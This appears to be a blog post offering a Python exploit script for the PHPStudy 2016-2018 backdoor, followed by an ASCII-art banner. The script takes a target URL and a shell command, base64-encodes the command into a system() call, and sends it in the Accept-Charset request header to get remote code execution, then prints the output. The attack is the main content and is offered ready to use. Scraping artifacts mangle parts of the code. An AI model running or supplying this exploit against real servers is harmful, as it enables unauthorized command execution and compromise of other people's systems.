[2016-2018]phpstudy’s exp production
Written using python’s requests module
Modify request packet for remote code execution
import requests
import base64
def remove_code_execute():
try:
url = input("Please enter the URL to be tested:")
cmd = input("Command you want to execute:")
cmd = f"system('{<!-- -->cmd}');"
cmd = base64.b64encode(cmd.encode()).decode()
headers={<!-- -->
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36",
"accept-encoding": "gzip,deflate",
"accept-charset": f"{<!-- -->cmd}"
}
response = requests.get(url=url,headers=headers)
relust=response.content.decode("GBK")[:response.content.decode("GBK").find("<!D"):1]
exceptException:
print("Please check whether it is a url error or command error")
print("Please check whether the operating system and command match")
else:
print(f"Command execution result:\
{<!-- -->relust}")
print("""
PHPStudy_2016-2018
..................................................:.:.. ..................................tt,..t
........................................:tfjjjft:..... ....................................itt::.
.....................................;fLLLGGLfjt,:..... ....................................;tj,.
.........:.:.....:..................................:;fLLGGDDGLLfjt:..... .............................;ttt
......:.... ....................... .............,fLGGGDEEDGGGGf,.......... ............................,tt
..##i###. W:::...L...jjLKff.........:fGDDDDDEDDGGGL,...:. . ...;D. ....::...:,:...:....:..t....
..f..L##.# ::.#####WW.itEii ............LDDDGGGjLDEDGfj......jf.,,E L.W##K# #W#W#itWjfft#W###Wif#fjjt
...i.jE,:j:iG .:..W...;;D;;;......LGDDDGLjjGEDfi:......# .. D. #L,#::.,Df.::::.K..:iLE...,. G..
...#.. ,.f.jL.,:.#::. .:E.............iGDDDGLfGDDL..........#. ::,D#.E#G..#.K.. #L###..#.#:..#EWW#.
..i:fLf,:Lt:L.W E: G.:.:ji::.............:.tGjGGfjLfjf.....;:..L: #: #.;W#####tK..K:.######j#.:D:.
.. ...##.f.##.:#: j.;;#: :K#............Liiii;tit:...... . #..:.E.#i:W.,:.#iW::W,:K,,:.#tE::#,;D:,
....................................jKi;ii;,iit.... .........,i. G:t,.:D:...j.L....D:...;.L....
.................................DEWKKjiiijti............. .......:.:....:... .:......:.....::....
..................................:EKKWWEijLfftL,i............. ....... ..:. :.............................
................................jKKD::KKWWKGtjjtDW:fE,.....### #.:..#.. .:t.E.............................
........................iKKKKD:DWWWWWf;itWKL:KKG:.....WWWK.,ii# iit...,:........................
........................:KKKKKKiiWWKWWWKKWWKE:KKKK:....###W....W: .:.,,;,;........................
........................:EKKKKKKE;WWWEKWWWWWWE:KKKKK:..######..::. . :,,;,,,.............
........................KKKKKKKWiWWWWKKKWWWWD,KKKWKK...K.##K::#:L .ii; Eit........................
........................tKKKKKWWWiWWWWWWWKKKEjfGKWWWW::L Gi,:.#:E.Dj.L;:#:. .....................
..................:KKKWWKWWWjWWWWWWWWWWW;WWEWWWWK;:..:.:.:..:....: : .:........................
.............................,KKWWWWWWWEKWWWWWWWWWWLjWWWWWWWKWD............. .....................
..................:KKKWWWWWWWjfWWWWWWWWWWDLKW.,DWWWWWKKKKKKKG:............. ............
........................GKKKKWWWWWLiEWWWWWWWWWWt;............:LWKKKKKKKKE:........ .....................
.............:jKWKKKWWWWfiDWWWWWWWWWWG,.............:jWKKKKKKKKi..... .....................
.....................;KKKKKWWWWLtGWWWWWWWWWWWDi............:.iKKWKKKKKG..... .....................
.....................,EKKKKKKKWWGLWWWWWWWWWKLL:........................:fWWKKKKK... .....................
.....................:LKKKWELLGLEWWWWWWWWWKEj.............................,tititLKEEj:... .....................
.............:iKKKKKLfffLGEDDEKKKKEEED:........................itttiiiiL;iD.... .....................
..................,KKKKKj.jffLLGDGGGDGGDDDEEt............jjtttiiiij;Li..... .....................
.............,GKKKK;::fLLGGGGGGGGDGGDDDDDG,.............:.jjtLiiiittjLt...... ............
,:.............,GKWE;:...:GGGGGGGGGGGGGGGGGGG;.............Ljjjttttftjjfi...... ............
,,:.............,LWKK;:....:LGGGLLLLLLLLLLLGLLt.............GffjjjjLjjjfLt:...... .............
,,,,:.........:iKKKf:......fffLLLLLLLLLLLLLLLLff:.............tfLfjjfLjfffL,..... ........::.::..
,,,,,..........,GKWWt:......fffLLLGGGLLLLLLLffffj.............:LLfffLffffL;..... .........::.::..
,,,,,,:......,KKWWi......:ffffLGGGGGLLLLLLffff......................;LLLLfffLLj....... ..........::.....
,,,,,,,,:...:,;;LWK;.....ffffffLLDEGDDGGLLfffji:............iGLLLLLt... .....................
,,,,,,,,,:..:i;;iii:.....ffffffffLG:.DDDGLLffjjj:.............:.tLLGf: ......:::........................
,,,,,,,,,,::;iii,:;:.....LffffffLL..fDDGLLLffjj;.............:.: .:....:.....:.............
,,,,,,,,,,,,,ii;:,;:.....;fffjjjfL...EDGGLLfjjjj...................... ..................::.........:..
,,,,,,,,,,,ii;,::;:........fffjjjfL...tGGGLffjjjj:............:..... ............................
,,,,,,,,,,,,ii,,...:........fffjjjfL...:GGGLffjjjjt............:: :........................................
,,,,,,,,,,,,;;,......jfjjjjjL....GGLLfjjjjf......:... ......:................................................::
,,,,,,,,,,,,,,,,......;fjjjjjf...::jGLLffjjjf............. .......:........................::
,,,,,,,,,,,,,,,,:.........fjjjjjjf:....GLLffjjjj;..........:,;. WG,:j:W.............D:f. ...........::
,,,,,,,,,,,,,,,,,:..........jjjjjjj;...:.,LLffjjjjf..........:. t.::W, ,WW#WW#,..K..:.:......:::..
,,,,,,,,,,,,,,,,,,:.........jjjjjjjj...:..tLffjjjff..........fK..# :jW..W.,.:fi:::..K..:.::...::::...
--xl
frist: please your url
sec:please input your command
""")
remove_code_execute()